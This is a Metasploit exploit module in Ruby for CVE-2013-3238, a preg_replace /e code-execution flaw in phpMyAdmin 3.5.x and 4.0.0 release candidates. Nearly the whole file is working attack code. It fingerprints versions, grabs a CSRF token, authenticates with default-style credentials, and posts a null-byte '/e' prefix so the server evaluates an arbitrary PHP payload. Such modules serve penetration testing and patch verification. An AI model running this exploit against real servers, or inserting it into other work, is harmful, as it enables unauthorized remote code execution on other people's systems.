##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
			'Description' => %q{
					This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's
					replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php
					This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.
					PHP versions > 5.4.6 are not vulnerable.
			},
			'Author' =>
				[
					'Janek "waraxe" Vind', # Discovery
					'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
				],
			'License' => MSF_LICENSE,
			'References' =>
				[
					[ 'CVE', '2013-3238' ],
					[ 'PMASA', '2013-2'],
					[ 'waraxe', '2013-SA#103' ],
					[ 'EDB', '25003'],
					[ 'OSVDB', '92793'],
					[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
					[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
				],
			'Privileged' => false,
			'Platform'   => ['php'],
			'Arch'       => ARCH_PHP,
			'Payload'    =>
				{
					'BadChars' => "&\n=+%",
					# Clear out PMA's error handler so it doesn't lose its mind
					# and cause ENOMEM errors and segfaults in the destructor.
					'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
				},
			'Targets' =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 25 2013'))

		register_options(
			[
				OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
				OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
				OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
			], self.class)
	end

	def check
		begin
			res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
		rescue
			print_error("Unable to connect to server.")
			return CheckCode::Unknown
		end

		if res.code != 200
			print_error("Unable to query /js/messages.php")
			return CheckCode::Unknown
		end

		php_version = res['X-Powered-By']
		if php_version
			print_status("PHP Version: #{php_version}")
			if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
				if $1.to_i > 5
					return CheckCode::Safe
				else
					if $1.to_i == 5 and $2.to_i > 4
						return CheckCode::Safe
					else
						if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6
							return CheckCode::Safe
						end
					end
				end
			end
		else
			print_status("Unknown PHP Version")
		end

		if res.body =~ /pmaversion = '(.*)';/
			print_status("phpMyAdmin version: #{$1}")
			case $1.downcase
				when '3.5.8.1', '4.0.0-rc3'
					return CheckCode::Safe
				when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
					return CheckCode::Vulnerable
				else
					if $1.starts_with? '3.5.'
						return CheckCode::Vulnerable
					end

					return CheckCode::Unknown
			end
		end
	end

	def exploit
		uri = target_uri.path
		print_status("Grabbing CSRF token...")
		response = send_request_cgi({ 'uri' => uri})
		if response.nil?
			fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
		end

		if (response.body !~ /"token"\s*value="([^"]*)"/)
			fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
		else
			print_good("Retrieved token")
		end

		token = $1
		post = {
			'token' => token,
			'pma_username' => datastore['USERNAME'],
			'pma_password' => datastore['PASSWORD']
		}

		print_status("Authenticating...")

		login = send_request_cgi({
			'method' => 'POST',
			'uri' => normalize_uri(uri, 'index.php'),
			'vars_post' => post
		})

		if login.nil?
			fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
		end

		token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first

		cookies = login.get_cookies

		login_check = send_request_cgi({
			'uri' => normalize_uri(uri, 'index.php'),
			'vars_get' => { 'token' => token },
			'cookie' => cookies
		})

		if login_check.body =~ /Welcome to/
			fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
		else
			print_good("Authentication successful")
		end

		db = rand_text_alpha(3+rand(3))
		exploit_result = send_request_cgi({
			'uri'	=> normalize_uri(uri, 'db_structure.php'),
			'method' => 'POST',
			'cookie' => cookies,
			'vars_post' => {
				'query_type' => 'replace_prefix_tbl',
				'db' => db,
				'selected[0]' => db,
				'token' => token,
				'from_prefix' => "/e\0",
				'to_prefix' => payload.encoded,
				'mult_btn' => 'Yes'
			}
		},1)
	end
end

